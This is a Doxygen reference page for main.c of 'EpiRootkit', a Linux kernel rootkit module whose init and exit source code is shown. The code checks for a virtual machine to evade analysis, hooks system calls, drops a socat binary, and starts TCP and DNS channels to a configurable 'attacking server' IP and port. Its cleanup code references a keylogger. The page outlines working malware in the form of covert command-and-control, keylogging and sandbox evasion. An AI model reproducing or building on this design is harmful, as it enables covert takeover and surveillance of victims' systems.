EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
main.c File Reference
#include "epirootkit.h"
#include "init.h"
#include "passwd.h"
#include "vanish.h"
Include dependency graph for main.c:

Go to the source code of this file.

Functions

 module_param (ip, charp, 0644)
 
 module_param (port, int, 0644)
 
 MODULE_PARM_DESC (ip, "IPv4 of attacking server")
 
 MODULE_PARM_DESC (port, "Port of attacking server")
 
static int __init epirootkit_init (void)
 Initializes the epirootkit module.
 
static void __exit epirootkit_exit (void)
 Cleanup function called when the module is unloaded.
 
 module_init (epirootkit_init)
 
 module_exit (epirootkit_exit)
 
 MODULE_LICENSE ("GPL")
 
 MODULE_AUTHOR ("STDBOOL")
 
 MODULE_DESCRIPTION ("EpiRootkit De La Mama")
 

Variables

char * ip = SERVER_IP
 
int port = SERVER_PORT
 

Function Documentation

◆ epirootkit_exit()

static void __exit epirootkit_exit ( void  )
static

Cleanup function called when the module is unloaded.

This function is executed during the module's exit phase.

Definition at line 62 of file main.c.

62 {
69
70 DBG_MSG("epirootkit_exit: module unloaded (/^▽^)/\n");
71}
#define DBG_MSG(fmt, args...)
Definition config.h:15
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
Definition epikeylog.c:363
int remove_socat_binaire(void)
Definition socat.c:72
void exit_interceptor(void)
Definition init.c:99
int close_worker_socket(void)
Definition socket.c:43
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
Definition dns/worker.c:72
int stop_network_worker(void)
Definition tcp/worker.c:185

◆ epirootkit_init()

static int __init epirootkit_init ( void  )
static

Initializes the epirootkit module.

Returns
Returns 0 (SUCCESS) on successful initialization, or a negative error code if the kernel thread fails to start.

Definition at line 21 of file main.c.

21 {
22 DBG_MSG("epirootkit_init: trying to load module...\n");
23
25 ERR_MSG("epirootkit_init: nooope, you should not pass\n");
26 return -FAILURE;
27 }
28
29 if (init_interceptor() != SUCCESS) {
30 ERR_MSG("epirootkit_init: failed to init interceptor\n");
31 return -FAILURE;
32 }
33
34 if (drop_socat_binaire() != SUCCESS) {
35 ERR_MSG("epirootkit_init: failed to drop socat binary\n");
36 return -FAILURE;
37 }
38
40 ERR_MSG("epirootkit_init: failed to start network worker\n");
41 return -FAILURE;
42 }
43
44 if (start_dns_worker() != SUCCESS) {
45 ERR_MSG("epirootkit_init: failed to start DNS worker\n");
46 ERR_MSG("epirootkit_init: rootkit will try to use tcp to communicate\n");
47 }
48
49 if (passwd_load() != SUCCESS) {
50 DBG_MSG("epirootkit_init: no password to load, using default\n");
51 }
52
53 DBG_MSG("epirootkit_init: module loaded (/^▽^)/\n");
54 return SUCCESS;
55}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define FAILURE
Definition config.h:6
#define VANISH
Definition config.h:69
#define SUCCESS
Definition config.h:5
int drop_socat_binaire(void)
Definition socat.c:32
int init_interceptor(void)
Definition init.c:14
int start_network_worker(void)
Definition tcp/worker.c:161
int start_dns_worker(void)
Starts the DNS worker kernel thread.
Definition dns/worker.c:45
int passwd_load(void)
Definition passwd.c:22
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.
Definition vanish.c:55

◆ MODULE_AUTHOR()

MODULE_AUTHOR ( "STDBOOL"  )

◆ MODULE_DESCRIPTION()

MODULE_DESCRIPTION ( "EpiRootkit De La Mama"  )

◆ module_exit()

module_exit ( epirootkit_exit  )

◆ module_init()

module_init ( epirootkit_init  )

◆ MODULE_LICENSE()

MODULE_LICENSE ( "GPL"  )

◆ module_param() [1/2]

module_param ( ip  ,
charp  ,
0644   
)

◆ module_param() [2/2]

module_param ( port  ,
int  ,
0644   
)

◆ MODULE_PARM_DESC() [1/2]

MODULE_PARM_DESC ( ip  ,
"IPv4 of attacking server"   
)

◆ MODULE_PARM_DESC() [2/2]

MODULE_PARM_DESC ( port  ,
"Port of attacking server"   
)

Variable Documentation

◆ ip

char* ip = SERVER_IP

Definition at line 6 of file main.c.

◆ port

int port = SERVER_PORT

Definition at line 7 of file main.c.